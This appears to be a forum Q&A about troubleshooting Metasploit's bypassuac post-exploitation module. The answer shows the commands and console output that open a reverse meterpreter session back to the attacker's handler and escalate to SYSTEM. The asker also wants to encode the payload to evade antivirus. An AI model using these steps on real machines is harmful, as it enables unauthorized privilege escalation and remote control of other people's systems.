metasploit: bypassuac windows privilege escalation hangs - metasploit

Question

post/windows/escalate/bypassuac seems to fail for me
For some reason I can't get the post exploitation module bypassuac to work.
This is what I did:
Opened a meterpreter session on the target machine (as the NETWORKSERVICE user)
Put the session in background
Tried to use the post exploitation module like this:
use post/windows/escalate/bypassuac
set SESSION 1
set LHOST 192.168.1.100
set LPORT 4444 exploit
The port is not used yet so should be fine.
The output is as follows:
[-] Handler failed to bind to 192.168.1.100:4444
[] Started reverse handler on 0.0.0.0:4444
[] Starting the payload handler...
[] Uploading the bypass UAC executable to the filesystem...
[] Meterpreter stager executable 73802 bytes long being uploaded..
[] Uploaded the agent to the filesystem....
[] Post module execution completed
Then it returns to the console and does nothing, no new session, nothing whatsoever.
I checked the following things:
Uploading the executable bypassuac-x86.exe manually to the target. That worked perfectly fine.
Checked whether the virusscanner's alarm bells didn't ring from the executable. They didn't
Is there a way of manually running the executable and could someone explain me how that would work to open a new meterpreter session with SYSTEM level access?
Or can I somehow encode the payload and use my custom template to evade all antivirus possibilities? I haven't found any option to encode post-exploitation modules yet.
Thanks in advance
Halvar

Answer 1

msf exploit(handler) > use post/windows/escalate/bypassuac
msf post(bypassuac) > show options
Module options:
Name Current Setting Required Description
—- ————— ——– ———–
RHOST no Host
RPORT 4444 no Port
SESSION yes The session to run this module on.
msf post(bypassuac) > set SESSION 1
SESSION => 1
msf post(bypassuac) > exploit
[*] Started reverse handler on 192.168.1.100:4444
[*] Starting the payload handler…
[*] Uploading the bypass UAC executable to the filesystem…
[*] Meterpreter stager executable 73802 bytes long being uploaded..
[*] Uploaded the agent to the filesystem….
[*] Executing the agent with endpoint 192.168.1.100:4444 with UACBypass in effect…
[*] Post module execution completed
msf post(bypassuac) >
[*] Sending stage (749056 bytes) to 192.168.1.100
[*] Meterpreter session 2 opened (192.168.1.100:4444 -> 192.168.1.102:1565) at Thu Jan 06 12:41:13 -0500 2011
[*] Session ID 2 (192.168.1.100:4444 -> 192.168.1.102:1565) processing InitialAutoRunScript ‘migrate -f’
[*] Current server process: zuWlXDpYlOMM.exe (2640)
[*] Spawning a notepad.exe host process…
[*] Migrating into process ID 3276
[*] New server process: notepad.exe (3276)
msf post(bypassuac) > sessions -i 2
[*] Starting interaction with 2…
meterpreter > getsystem
…got system (via technique 1).
meterpreter > sysinfo